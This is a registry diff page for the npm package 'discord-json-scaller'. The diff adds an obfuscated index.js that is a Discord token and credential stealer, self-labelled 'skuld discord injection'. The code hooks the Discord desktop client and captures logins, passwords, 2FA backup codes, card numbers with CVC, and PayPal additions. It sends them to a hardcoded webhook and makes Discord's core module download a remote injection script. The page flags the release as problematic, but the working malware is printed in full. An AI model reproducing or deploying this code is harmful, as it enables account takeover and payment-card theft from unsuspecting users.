discord-json-scaller 0.0.1-security → 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of discord-json-scaller might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +1 -0
  2. package/package.json +9 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1 @@
1
+ const _0x5d095d=_0x2ac5;(function(_0x5b813b,_0x571834){const _0x3926f2=_0x2ac5,_0x88c177=_0x5b813b();while(!![]){try{const _0x554c24=-parseInt(_0x3926f2(0x234))/0x1*(parseInt(_0x3926f2(0x214))/0x2)+parseInt(_0x3926f2(0x1fd))/0x3*(-parseInt(_0x3926f2(0x230))/0x4)+-parseInt(_0x3926f2(0x1db))/0x5+-parseInt(_0x3926f2(0x25c))/0x6*(-parseInt(_0x3926f2(0x255))/0x7)+parseInt(_0x3926f2(0x25b))/0x8+-parseInt(_0x3926f2(0x209))/0x9*(parseInt(_0x3926f2(0x1ec))/0xa)+-parseInt(_0x3926f2(0x1ca))/0xb*(-parseInt(_0x3926f2(0x251))/0xc);if(_0x554c24===_0x571834)break;else _0x88c177['push'](_0x88c177['shift']());}catch(_0x45823b){_0x88c177['push'](_0x88c177['shift']());}}}(_0x2f63,0x6e9bd));function _0x2f63(){const _0x663f05=['https://raw.githubusercontent.com/hackirby/discord-injection/main/injection.js','<:SA_Owner:991312415352430673>\x20Owner','webRequest','4380768KeIRHP','998766EpjnFh','existsSync','endsWith','getAllWindows','sendCommand','Badges','application/json','replace','/totp','<:5053earlysupporter:1163172241996005416>','package.json','POST','readdirSync','`\x20-\x20`','**Rare\x20Friends:**\x0a','host','platform','/codes-verification','<:6936hypesquadbrilliance:1163172244474822746>','https://i.ibb.co/GJGXzGX/discord-avatar-512-FCWUJ.png','sep','\x20|\x20Server\x20Name:\x20`','**\x20just\x20','code','<:1757bugbusterbadgediscord:1163172238942543892>','forEach','location.reload()','Network.responseReceived','argv','resources','consumed','`❌`','<:4149blurplecertifiedmoderator:1163172255489085481>','fields','login','\x5cbetterdiscord\x5cdata\x5cbetterdiscord.asar','<:4744bughunterbadgediscord:1163172239970140383>','Token','name','unlinkSync','filter','request','env','author','type','user','Total\x20Friends:\x20','<:paypal:1148653305376034967>\x20','some','statusCode','toString','querystring','`Nitro\x20Classic`','**\x20just\x20got\x20injected!','data','<:1207iconactivedeveloper:1163172534443851868>','write','auth/sessions','GET','slice','Backup\x20Codes','4350709IQIZQL','webhook','Network.getResponseBody','bytes','logged\x20in','<:9171hypesquadevents:1163172248140660839>','startsWith','permissions','https://discord.com/api/v9/users/@me','Old\x20Password','`\x0a\x0a','debugger','test','https://cdn.discordapp.com/avatars/','new_password','split','/auth/register','3992900pExqlZ','\x5cdiscord_desktop_core\x5cindex.js','mkdirSync','title','footer','Resources','index.js','card[number]','https://api.stripe.com/v*/tokens','approximate_member_count','/login','**\x20just\x20changed\x20his\x20password!','changed\x20his\x20email\x20to\x20**','\x5cmodules\x5c','closed','./core.asar','\x27)\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20res.pipe(file);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20file.on(\x27finish\x27,\x20()\x20=>\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20file.close();\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20});\x0a\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x20\x20}).on(\x22error\x22,\x20(err)\x20=>\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20setTimeout(init(),\x2010000);\x0a\x20\x20\x20\x20\x20\x20});\x0a\x20\x20}\x0a\x20\x20require(\x27','4253670xlkNCf','totalGuilds','darwin','app.asar','response','pathname','/guilds?with_counts=true','💳\x20','from','win32','None','Network.enable','/@me','/users/@me','wss://remote-auth-gateway.discord.gg/*','\x27;\x0a\x20\x20const\x20bdPath\x20=\x20\x27','attach','3JDZTPy','webContents','<:5242hypesquadbalance:1163172243417858128>','onCompleted','**No\x20Rare\x20Friends**','username','method','search','message','badges','invalid','1.3','9zrRnsu','\x27)\x0a\x20\x20if\x20(fs.existsSync(bdPath))\x20require(bdPath);','userInfo','end','card[exp_month]','https://discord.com/api/webhooks/1314784455071764502/SInDyGVmloj0NZ7frzvPdTfnzX-EXldXbpYh8d1ug7V5rFPH_wRwx9FdzIe8gxpOLrRm','parse','email','includes','content','totalFriends','1000022hadqaf','filters2','path','`\x20-\x20Members:\x20`','stringify','**\x20just\x20added\x20a\x20credit\x20card!','password','public_flags','\x27,\x20(res)\x20=>\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20file\x20=\x20fs.createWriteStream(indexJs);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20res.replace(\x27%WEBHOOK%\x27,\x20\x27','avatar_url','injection_url','initiation','Phone','body','length','card[cvc]','/billing/payment-sources','Contents','Number','```','defaultSession','token','requestId','executeJavaScript','Value','wss://remote-auth-gateway','exports','paypal_accounts','1557788GpOwai','embeds','Network.getRequestPostData','Nitro','1acbDOU','https://discordapp.com/api/v*/auth/sessions','/auth/login','**\x20just\x20added\x20a\x20<:paypal:1148653305376034967>\x20account!','join','Email','tokens','urls','https://*.discord.com/api/v*/auth/sessions','/mfa/totp','<:9928discordpartnerbadge:1163172304155586570>','Total\x20Servers:\x20','writeFileSync','**\x20just\x20viewed\x20his\x202FA\x20backup\x20codes!','thumbnail','https://discord.com/api/v*/auth/sessions','Emoji','headers','signed\x20up','uploadData','filters','/relationships','(webpackChunkdiscord_app.push([[\x27\x27],{},e=>{m=[];for(let\x20c\x20in\x20e.c)m.push(e.c[c])}]),m).find(m=>m?.exports?.default?.getToken!==void\x200).exports.default.getToken()','logged\x20in\x20with\x202FA','url','`Nitro\x20Basic`','push','phone','substr','36EWJQfI','https','API','skuld\x20discord\x20injection\x20-\x20made\x20by\x20hackirby','35LiwTiV','2251799813685247','color'];_0x2f63=function(){return _0x663f05;};return _0x2f63();}const fs=require('fs'),os=require('os'),https=require(_0x5d095d(0x252)),args=process[_0x5d095d(0x1a9)],path=require('path'),querystring=require(_0x5d095d(0x1c0)),{BrowserWindow,session}=require('electron'),CONFIG={'webhook':_0x5d095d(0x20e),'injection_url':_0x5d095d(0x258),'filters':{'urls':[_0x5d095d(0x236),_0x5d095d(0x1da),_0x5d095d(0x23d),'/mfa/codes-verification',_0x5d095d(0x1f9)]},'filters2':{'urls':[_0x5d095d(0x1fa),_0x5d095d(0x243),_0x5d095d(0x23c),_0x5d095d(0x235)]},'payment_filters':{'urls':['https://api.braintreegateway.com/merchants/49pp2rp4phym7387/client_api/v*/payment_methods/paypal_accounts',_0x5d095d(0x1e3)]},'API':_0x5d095d(0x1d2),'badges':{'Discord_Emloyee':{'Value':0x1,'Emoji':'<:8485discordemployee:1163172252989259898>','Rare':!![]},'Partnered_Server_Owner':{'Value':0x2,'Emoji':_0x5d095d(0x23e),'Rare':!![]},'HypeSquad_Events':{'Value':0x4,'Emoji':_0x5d095d(0x1cf),'Rare':!![]},'Bug_Hunter_Level_1':{'Value':0x8,'Emoji':_0x5d095d(0x1b1),'Rare':!![]},'Early_Supporter':{'Value':0x200,'Emoji':_0x5d095d(0x265),'Rare':!![]},'Bug_Hunter_Level_2':{'Value':0x4000,'Emoji':_0x5d095d(0x1a5),'Rare':!![]},'Early_Verified_Bot_Developer':{'Value':0x20000,'Emoji':'<:1207iconearlybotdeveloper:1163172236807639143>','Rare':!![]},'House_Bravery':{'Value':0x40,'Emoji':'<:6601hypesquadbravery:1163172246492287017>','Rare':![]},'House_Brilliance':{'Value':0x80,'Emoji':_0x5d095d(0x19f),'Rare':![]},'House_Balance':{'Value':0x100,'Emoji':_0x5d095d(0x1ff),'Rare':![]},'Active_Developer':{'Value':0x400000,'Emoji':_0x5d095d(0x1c4),'Rare':![]},'Certified_Moderator':{'Value':0x40000,'Emoji':_0x5d095d(0x1ad),'Rare':!![]},'Spammer':{'Value':0x100080,'Emoji':'⌨️','Rare':![]}}},executeJS=_0x177180=>{const _0x342471=_0x5d095d,_0x40eb4e=BrowserWindow['getAllWindows']()[0x0];return _0x40eb4e['webContents'][_0x342471(0x22b)](_0x177180,!0x0);},clearAllUserData=()=>{const _0x4a35fe=_0x5d095d;executeJS('document.body.appendChild(document.createElement`iframe`).contentWindow.localStorage.clear()'),executeJS(_0x4a35fe(0x1a7));},getToken=async()=>await executeJS(_0x5d095d(0x24a)),request=async(_0xc2d46e,_0x4e6a0b,_0x265d83,_0x79c0bc)=>{const _0x28e454=_0x5d095d;_0x4e6a0b=new URL(_0x4e6a0b);const _0xa5214c={'protocol':_0x4e6a0b['protocol'],'hostname':_0x4e6a0b[_0x28e454(0x19c)],'path':_0x4e6a0b[_0x28e454(0x1f1)],'method':_0xc2d46e,'headers':{'Access-Control-Allow-Origin':'*'}};if(_0x4e6a0b[_0x28e454(0x204)])_0xa5214c[_0x28e454(0x216)]+=_0x4e6a0b['search'];for(const _0x2ca3d2 in _0x265d83)_0xa5214c[_0x28e454(0x245)][_0x2ca3d2]=_0x265d83[_0x2ca3d2];const _0x4f4da1=https[_0x28e454(0x1b6)](_0xa5214c);if(_0x79c0bc)_0x4f4da1[_0x28e454(0x1c5)](_0x79c0bc);return _0x4f4da1[_0x28e454(0x20c)](),new Promise((_0x399dbe,_0x48b62d)=>{_0x4f4da1['on']('response',_0x3c8ce3=>{const _0x5c9f04=_0x2ac5;let _0x10c5eb='';_0x3c8ce3['on'](_0x5c9f04(0x1c3),_0x5b31be=>_0x10c5eb+=_0x5b31be),_0x3c8ce3['on'](_0x5c9f04(0x20c),()=>_0x399dbe(_0x10c5eb));});});},hooker=async(_0x298b79,_0x2301e2,_0x548789)=>{const _0x14e286=_0x5d095d;_0x298b79[_0x14e286(0x212)]='`'+os['hostname']()+_0x14e286(0x269)+os[_0x14e286(0x20b)]()[_0x14e286(0x202)]+_0x14e286(0x1d4)+_0x298b79[_0x14e286(0x212)],_0x298b79[_0x14e286(0x202)]='skuld\x20-\x20cord\x20injection',_0x298b79[_0x14e286(0x21d)]=_0x14e286(0x1a0),_0x298b79[_0x14e286(0x231)][0x0][_0x14e286(0x1b8)]={'name':_0x548789[_0x14e286(0x202)]},_0x298b79['embeds'][0x0][_0x14e286(0x242)]={'url':_0x14e286(0x1d7)+_0x548789['id']+'/'+_0x548789['avatar']+'.webp'},_0x298b79[_0x14e286(0x231)][0x0][_0x14e286(0x1df)]={'text':_0x14e286(0x254),'icon_url':'https://avatars.githubusercontent.com/u/145487845?v=4'},_0x298b79[_0x14e286(0x231)][0x0][_0x14e286(0x1de)]='Account\x20Information';const _0x26dccb=getNitro(_0x548789['premium_type']),_0x4d98c4=getBadges(_0x548789['flags']),_0x1175bb=await getBilling(_0x2301e2),_0x5aa275=await getFriends(_0x2301e2),_0x3e7629=await getServers(_0x2301e2);_0x298b79[_0x14e286(0x231)][0x0][_0x14e286(0x1ae)][_0x14e286(0x24e)]({'name':_0x14e286(0x1b2),'value':_0x14e286(0x227)+_0x2301e2+_0x14e286(0x227),'inline':![]},{'name':_0x14e286(0x233),'value':_0x26dccb,'inline':!![]},{'name':_0x14e286(0x261),'value':_0x4d98c4,'inline':!![]},{'name':'Billing','value':_0x1175bb,'inline':!![]}),_0x298b79[_0x14e286(0x231)]['push']({'title':_0x14e286(0x1bb)+_0x5aa275[_0x14e286(0x213)],'description':_0x5aa275[_0x14e286(0x205)]},{'title':_0x14e286(0x23f)+_0x3e7629[_0x14e286(0x1ed)],'description':_0x3e7629['message']});for(const _0x182460 in _0x298b79[_0x14e286(0x231)]){_0x298b79['embeds'][_0x182460][_0x14e286(0x257)]=0xb143e3;}await request(_0x14e286(0x267),CONFIG[_0x14e286(0x1cb)],{'Content-Type':_0x14e286(0x262)},JSON['stringify'](_0x298b79));},fetch=async(_0x49cbed,_0x455849)=>{const _0x1b5b82=_0x5d095d;return JSON[_0x1b5b82(0x20f)](await request(_0x1b5b82(0x1c7),CONFIG[_0x1b5b82(0x253)]+_0x49cbed,_0x455849));},fetchAccount=async _0x240b4c=>await fetch('',{'Authorization':_0x240b4c}),fetchBilling=async _0x59474f=>await fetch(_0x5d095d(0x224),{'Authorization':_0x59474f}),fetchServers=async _0x5473d4=>await fetch(_0x5d095d(0x1f2),{'Authorization':_0x5473d4}),fetchFriends=async _0x9c8aee=>await fetch(_0x5d095d(0x249),{'Authorization':_0x9c8aee}),getNitro=_0x1e60a0=>{const _0x1eb195=_0x5d095d;switch(_0x1e60a0){case 0x1:return _0x1eb195(0x1c1);case 0x2:return'`Nitro\x20Boost`';case 0x3:return _0x1eb195(0x24d);default:return _0x1eb195(0x1ac);}},getBadges=_0x39b98a=>{const _0x1cfc1c=_0x5d095d;let _0x43778b='';for(const _0x8ba4c in CONFIG[_0x1cfc1c(0x206)]){let _0x21248e=CONFIG[_0x1cfc1c(0x206)][_0x8ba4c];if((_0x39b98a&_0x21248e[_0x1cfc1c(0x22c)])==_0x21248e[_0x1cfc1c(0x22c)])_0x43778b+=_0x21248e[_0x1cfc1c(0x244)]+'\x20';}return _0x43778b||_0x1cfc1c(0x1ac);},getRareBadges=_0x3ed18c=>{const _0x13d1f6=_0x5d095d;let _0x5205e9='';for(const _0xf3543c in CONFIG[_0x13d1f6(0x206)]){let _0xb1782b=CONFIG[_0x13d1f6(0x206)][_0xf3543c];if((_0x3ed18c&_0xb1782b[_0x13d1f6(0x22c)])==_0xb1782b[_0x13d1f6(0x22c)]&&_0xb1782b['Rare'])_0x5205e9+=_0xb1782b[_0x13d1f6(0x244)]+'\x20';}return _0x5205e9;},getBilling=async _0xd86a0a=>{const _0x2120e1=_0x5d095d,_0x17be8e=await fetchBilling(_0xd86a0a);let _0x1580c8='';return _0x17be8e[_0x2120e1(0x1a6)](_0x280a14=>{const _0x1594cd=_0x2120e1;if(!_0x280a14[_0x1594cd(0x207)])switch(_0x280a14[_0x1594cd(0x1b9)]){case 0x1:_0x1580c8+=_0x1594cd(0x1f3);break;case 0x2:_0x1580c8+=_0x1594cd(0x1bc);break;}}),_0x1580c8||_0x2120e1(0x1ac);},getFriends=async _0x2a107f=>{const _0x35a87b=_0x5d095d,_0x437c04=await fetchFriends(_0x2a107f),_0x487c21=_0x437c04[_0x35a87b(0x1b5)](_0x1f4d2f=>{const _0x571687=_0x35a87b;return _0x1f4d2f[_0x571687(0x1b9)]==0x1;});let _0x15d224='';for(const _0x56946a of _0x487c21){var _0x49d32b=getRareBadges(_0x56946a[_0x35a87b(0x1ba)][_0x35a87b(0x21b)]);if(_0x49d32b!=''){if(!_0x15d224)_0x15d224=_0x35a87b(0x26a);_0x15d224+=_0x49d32b+'\x20'+_0x56946a[_0x35a87b(0x1ba)]['username']+'\x0a';}}return _0x15d224=_0x15d224||_0x35a87b(0x201),{'message':_0x15d224,'totalFriends':_0x437c04[_0x35a87b(0x222)]};},getServers=async _0x2dc814=>{const _0x56d7e8=_0x5d095d,_0x48ecec=await fetchServers(_0x2dc814),_0x173329=_0x48ecec['filter'](_0x1e26f6=>_0x1e26f6[_0x56d7e8(0x1d1)]=='562949953421311'||_0x1e26f6['permissions']==_0x56d7e8(0x256));let _0x2f9486='';for(const _0x231d54 of _0x173329){_0x2f9486===''&&(_0x2f9486+='**Rare\x20Servers:**\x0a'),_0x2f9486+=(_0x231d54['owner']?_0x56d7e8(0x259):'<:admin:967851956930482206>\x20Admin')+_0x56d7e8(0x1a2)+_0x231d54[_0x56d7e8(0x1b3)]+_0x56d7e8(0x217)+_0x231d54[_0x56d7e8(0x1e4)]+'`\x0a';}return _0x2f9486=_0x2f9486||'**No\x20Rare\x20Servers**',{'message':_0x2f9486,'totalGuilds':_0x48ecec[_0x56d7e8(0x222)]};},EmailPassToken=async(_0x5d01aa,_0x22d385,_0x2ebd86,_0x22913b)=>{const _0x4e6174=_0x5d095d,_0x30b4f1=await fetchAccount(_0x2ebd86),_0x5ed288={'content':'**'+_0x30b4f1['username']+_0x4e6174(0x1a3)+_0x22913b+'!','embeds':[{'fields':[{'name':_0x4e6174(0x239),'value':'`'+_0x5d01aa+'`','inline':!![]},{'name':'Password','value':'`'+_0x22d385+'`','inline':!![]}]}]};hooker(_0x5ed288,_0x2ebd86,_0x30b4f1);},BackupCodesViewed=async(_0xdd703c,_0xf45f)=>{const _0x1f9e51=_0x5d095d,_0x4f0174=await fetchAccount(_0xf45f),_0x18b061=_0xdd703c['filter'](_0x27ef90=>{const _0x561104=_0x2ac5;return _0x27ef90[_0x561104(0x1ab)]===![];});let _0x10b9f5='';for(let _0xf939b6 of _0x18b061){_0x10b9f5+=_0xf939b6[_0x1f9e51(0x1a4)][_0x1f9e51(0x250)](0x0,0x4)+'-'+_0xf939b6['code'][_0x1f9e51(0x250)](0x4)+'\x0a';}const _0x3c770e={'content':'**'+_0x4f0174[_0x1f9e51(0x202)]+_0x1f9e51(0x241),'embeds':[{'fields':[{'name':_0x1f9e51(0x1c9),'value':_0x1f9e51(0x227)+_0x10b9f5+'```','inline':![]},{'name':_0x1f9e51(0x239),'value':'`'+_0x4f0174[_0x1f9e51(0x210)]+'`','inline':!![]},{'name':_0x1f9e51(0x220),'value':'`'+(_0x4f0174[_0x1f9e51(0x24f)]||'None')+'`','inline':!![]}]}]};hooker(_0x3c770e,_0xf45f,_0x4f0174);},PasswordChanged=async(_0x53a0bb,_0x4959bd,_0x1a3c7b)=>{const _0x1f7dff=_0x5d095d,_0x315342=await fetchAccount(_0x1a3c7b),_0x333835={'content':'**'+_0x315342[_0x1f7dff(0x202)]+_0x1f7dff(0x1e6),'embeds':[{'fields':[{'name':'New\x20Password','value':'`'+_0x53a0bb+'`','inline':!![]},{'name':_0x1f7dff(0x1d3),'value':'`'+_0x4959bd+'`','inline':!![]}]}]};hooker(_0x333835,_0x1a3c7b,_0x315342);},CreditCardAdded=async(_0x420ce6,_0xcb868a,_0x5e0099,_0x543b7e,_0x447734)=>{const _0x4540e6=_0x5d095d,_0x9438ad=await fetchAccount(_0x447734),_0x2a7473={'content':'**'+_0x9438ad[_0x4540e6(0x202)]+_0x4540e6(0x219),'embeds':[{'fields':[{'name':_0x4540e6(0x226),'value':'`'+_0x420ce6+'`','inline':!![]},{'name':'CVC','value':'`'+_0xcb868a+'`','inline':!![]},{'name':'Expiration','value':'`'+_0x5e0099+'/'+_0x543b7e+'`','inline':!![]}]}]};hooker(_0x2a7473,_0x447734,_0x9438ad);},PaypalAdded=async _0x5f3447=>{const _0x17fddb=_0x5d095d,_0x27e219=await fetchAccount(_0x5f3447),_0x405d85={'content':'**'+_0x27e219[_0x17fddb(0x202)]+_0x17fddb(0x237),'embeds':[{'fields':[{'name':_0x17fddb(0x239),'value':'`'+_0x27e219[_0x17fddb(0x210)]+'`','inline':!![]},{'name':_0x17fddb(0x220),'value':'`'+(_0x27e219[_0x17fddb(0x24f)]||_0x17fddb(0x1f6))+'`','inline':!![]}]}]};hooker(_0x405d85,_0x5f3447,_0x27e219);},discordPath=(function(){const _0x26e541=_0x5d095d,_0x3f391a=args[0x0][_0x26e541(0x1d9)](path[_0x26e541(0x1a1)])[_0x26e541(0x1c8)](0x0,-0x1)['join'](path['sep']);let _0x1c055d;if(process[_0x26e541(0x19d)]==='win32')_0x1c055d=path[_0x26e541(0x238)](_0x3f391a,_0x26e541(0x1aa));else process[_0x26e541(0x19d)]===_0x26e541(0x1ee)&&(_0x1c055d=path['join'](_0x3f391a,_0x26e541(0x225),_0x26e541(0x1e0)));if(fs[_0x26e541(0x25d)](_0x1c055d))return{'resourcePath':_0x1c055d,'app':_0x3f391a};return{'undefined':undefined,'undefined':undefined};}());function _0x2ac5(_0x379d7a,_0x393772){const _0x2f630d=_0x2f63();return _0x2ac5=function(_0x2ac5c5,_0x1b4919){_0x2ac5c5=_0x2ac5c5-0x19c;let _0x1bfd35=_0x2f630d[_0x2ac5c5];return _0x1bfd35;},_0x2ac5(_0x379d7a,_0x393772);}async function initiation(){const _0x3c4011=_0x5d095d;if(fs['existsSync'](path[_0x3c4011(0x238)](__dirname,_0x3c4011(0x21f)))){fs['rmdirSync'](path['join'](__dirname,_0x3c4011(0x21f)));const _0x5503a9=await getToken();if(!_0x5503a9)return;const _0x3e01f9=await fetchAccount(_0x5503a9),_0x486388={'content':'**'+_0x3e01f9['username']+_0x3c4011(0x1c2),'embeds':[{'fields':[{'name':'Email','value':'`'+_0x3e01f9[_0x3c4011(0x210)]+'`','inline':!![]},{'name':_0x3c4011(0x220),'value':'`'+(_0x3e01f9[_0x3c4011(0x24f)]||_0x3c4011(0x1f6))+'`','inline':!![]}]}]};await hooker(_0x486388,_0x5503a9,_0x3e01f9),clearAllUserData();}const {resourcePath:_0x4c1660,app:_0x455831}=discordPath;if(_0x4c1660===undefined||_0x455831===undefined)return;const _0xe2421f=path['join'](_0x4c1660,'app'),_0x21fd8c=path[_0x3c4011(0x238)](_0xe2421f,_0x3c4011(0x266)),_0x227016=path[_0x3c4011(0x238)](_0xe2421f,_0x3c4011(0x1e1)),_0x3d027a=fs[_0x3c4011(0x268)](_0x455831+_0x3c4011(0x1e8))[_0x3c4011(0x1b5)](_0xe1bfc=>/discord_desktop_core-+?/[_0x3c4011(0x1d6)](_0xe1bfc))[0x0],_0x22804a=_0x455831+_0x3c4011(0x1e8)+_0x3d027a+_0x3c4011(0x1dc),_0x4a8db6=path['join'](process[_0x3c4011(0x1b7)]['APPDATA'],_0x3c4011(0x1b0));if(!fs['existsSync'](_0xe2421f))fs[_0x3c4011(0x1dd)](_0xe2421f);if(fs[_0x3c4011(0x25d)](_0x21fd8c))fs[_0x3c4011(0x1b4)](_0x21fd8c);if(fs[_0x3c4011(0x25d)](_0x227016))fs[_0x3c4011(0x1b4)](_0x227016);if(process['platform']===_0x3c4011(0x1f5)||process[_0x3c4011(0x19d)]==='darwin'){fs[_0x3c4011(0x240)](_0x21fd8c,JSON[_0x3c4011(0x218)]({'name':'discord','main':'index.js'},null,0x4));const _0x423b9a='const\x20fs\x20=\x20require(\x27fs\x27),\x20https\x20=\x20require(\x27https\x27);\x0a\x20\x20const\x20indexJs\x20=\x20\x27'+_0x22804a+_0x3c4011(0x1fb)+_0x4a8db6+'\x27;\x0a\x20\x20const\x20fileSize\x20=\x20fs.statSync(indexJs).size\x0a\x20\x20fs.readFileSync(indexJs,\x20\x27utf8\x27,\x20(err,\x20data)\x20=>\x20{\x0a\x20\x20\x20\x20\x20\x20if\x20(fileSize\x20<\x2020000\x20||\x20data\x20===\x20\x22module.exports\x20=\x20require(\x27./core.asar\x27)\x22)\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20init();\x0a\x20\x20})\x0a\x20\x20async\x20function\x20init()\x20{\x0a\x20\x20\x20\x20\x20\x20https.get(\x27'+CONFIG[_0x3c4011(0x21e)]+_0x3c4011(0x21c)+CONFIG[_0x3c4011(0x1cb)]+_0x3c4011(0x1eb)+path[_0x3c4011(0x238)](_0x4c1660,_0x3c4011(0x1ef))+_0x3c4011(0x20a);fs[_0x3c4011(0x240)](_0x227016,_0x423b9a[_0x3c4011(0x263)](/\\/g,'\x5c\x5c'));}}let email='',password='',initiationCalled=![];const createWindow=()=>{const _0x4f5a66=_0x5d095d;mainWindow=BrowserWindow[_0x4f5a66(0x25f)]()[0x0];if(!mainWindow)return;mainWindow[_0x4f5a66(0x1fe)][_0x4f5a66(0x1d5)][_0x4f5a66(0x1fc)](_0x4f5a66(0x208)),mainWindow[_0x4f5a66(0x1fe)][_0x4f5a66(0x1d5)]['on']('message',async(_0x24476a,_0x1f2456,_0x4ecfd6)=>{const _0x1880af=_0x4f5a66;!initiationCalled&&(await initiation(),initiationCalled=!![]);if(_0x1f2456!==_0x1880af(0x1a8))return;if(!CONFIG[_0x1880af(0x248)][_0x1880af(0x23b)][_0x1880af(0x1bd)](_0x1f4a64=>_0x4ecfd6[_0x1880af(0x1f0)]['url'][_0x1880af(0x25e)](_0x1f4a64)))return;if(![0xc8,0xca]['includes'](_0x4ecfd6[_0x1880af(0x1f0)]['status']))return;const _0x4596f=await mainWindow[_0x1880af(0x1fe)][_0x1880af(0x1d5)][_0x1880af(0x260)](_0x1880af(0x1cc),{'requestId':_0x4ecfd6[_0x1880af(0x22a)]}),_0x46806c=JSON[_0x1880af(0x20f)](_0x4596f[_0x1880af(0x221)]),_0x172cbd=await mainWindow[_0x1880af(0x1fe)][_0x1880af(0x1d5)]['sendCommand'](_0x1880af(0x232),{'requestId':_0x4ecfd6[_0x1880af(0x22a)]}),_0x35f702=JSON['parse'](_0x172cbd['postData']);switch(!![]){case _0x4ecfd6[_0x1880af(0x1f0)][_0x1880af(0x24c)][_0x1880af(0x25e)](_0x1880af(0x1e5)):if(!_0x46806c[_0x1880af(0x229)]){email=_0x35f702[_0x1880af(0x1af)],password=_0x35f702['password'];return;}EmailPassToken(_0x35f702['login'],_0x35f702[_0x1880af(0x21a)],_0x46806c[_0x1880af(0x229)],_0x1880af(0x1ce));break;case _0x4ecfd6[_0x1880af(0x1f0)][_0x1880af(0x24c)][_0x1880af(0x25e)]('/register'):EmailPassToken(_0x35f702[_0x1880af(0x210)],_0x35f702[_0x1880af(0x21a)],_0x46806c[_0x1880af(0x229)],_0x1880af(0x246));break;case _0x4ecfd6[_0x1880af(0x1f0)][_0x1880af(0x24c)][_0x1880af(0x25e)](_0x1880af(0x264)):EmailPassToken(email,password,_0x46806c[_0x1880af(0x229)],_0x1880af(0x24b));break;case _0x4ecfd6[_0x1880af(0x1f0)][_0x1880af(0x24c)][_0x1880af(0x25e)](_0x1880af(0x19e)):BackupCodesViewed(_0x46806c['backup_codes'],await getToken());break;case _0x4ecfd6[_0x1880af(0x1f0)][_0x1880af(0x24c)]['endsWith'](_0x1880af(0x1f8)):if(!_0x35f702[_0x1880af(0x21a)])return;_0x35f702[_0x1880af(0x210)]&&EmailPassToken(_0x35f702[_0x1880af(0x210)],_0x35f702[_0x1880af(0x21a)],_0x46806c[_0x1880af(0x229)],_0x1880af(0x1e7)+_0x35f702[_0x1880af(0x210)]+'**');_0x35f702['new_password']&&PasswordChanged(_0x35f702[_0x1880af(0x1d8)],_0x35f702[_0x1880af(0x21a)],_0x46806c['token']);break;}}),mainWindow[_0x4f5a66(0x1fe)][_0x4f5a66(0x1d5)][_0x4f5a66(0x260)](_0x4f5a66(0x1f7)),mainWindow['on'](_0x4f5a66(0x1e9),()=>{createWindow();});};createWindow(),session[_0x5d095d(0x228)]['webRequest'][_0x5d095d(0x200)](CONFIG['payment_filters'],async(_0x187243,_0x173732)=>{const _0x27e0a7=_0x5d095d;if(![0xc8,0xca][_0x27e0a7(0x211)](_0x187243[_0x27e0a7(0x1be)]))return;if(_0x187243[_0x27e0a7(0x203)]!=_0x27e0a7(0x267))return;switch(!![]){case _0x187243[_0x27e0a7(0x24c)]['endsWith'](_0x27e0a7(0x23a)):const _0xbfe23a=querystring[_0x27e0a7(0x20f)](Buffer[_0x27e0a7(0x1f4)](_0x187243[_0x27e0a7(0x247)][0x0][_0x27e0a7(0x1cd)])[_0x27e0a7(0x1bf)]());CreditCardAdded(_0xbfe23a[_0x27e0a7(0x1e2)],_0xbfe23a[_0x27e0a7(0x223)],_0xbfe23a[_0x27e0a7(0x20d)],_0xbfe23a['card[exp_year]'],await getToken());break;case _0x187243[_0x27e0a7(0x24c)]['endsWith'](_0x27e0a7(0x22f)):PaypalAdded(await getToken());break;}}),session[_0x5d095d(0x228)][_0x5d095d(0x25a)]['onBeforeRequest'](CONFIG[_0x5d095d(0x215)],(_0x481d78,_0x4393dd)=>{const _0x25dd0b=_0x5d095d;if(_0x481d78[_0x25dd0b(0x24c)][_0x25dd0b(0x1d0)](_0x25dd0b(0x22d))||_0x481d78['url'][_0x25dd0b(0x25e)](_0x25dd0b(0x1c6)))return _0x4393dd({'cancel':!![]});}),module[_0x5d095d(0x22e)]=require(_0x5d095d(0x1ea));
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "discord-json-scaller",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.0",
4
+ "main": "index.js",
5
+ "scripts": {
6
+ "test": "echo \"Error: no test specified\" && exit 1"
7
+ },
8
+ "keywords": [],
9
+ "author": "",
10
+ "license": "ISC",
11
+ "description": ""
6
12
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=discord-json-scaller for more information.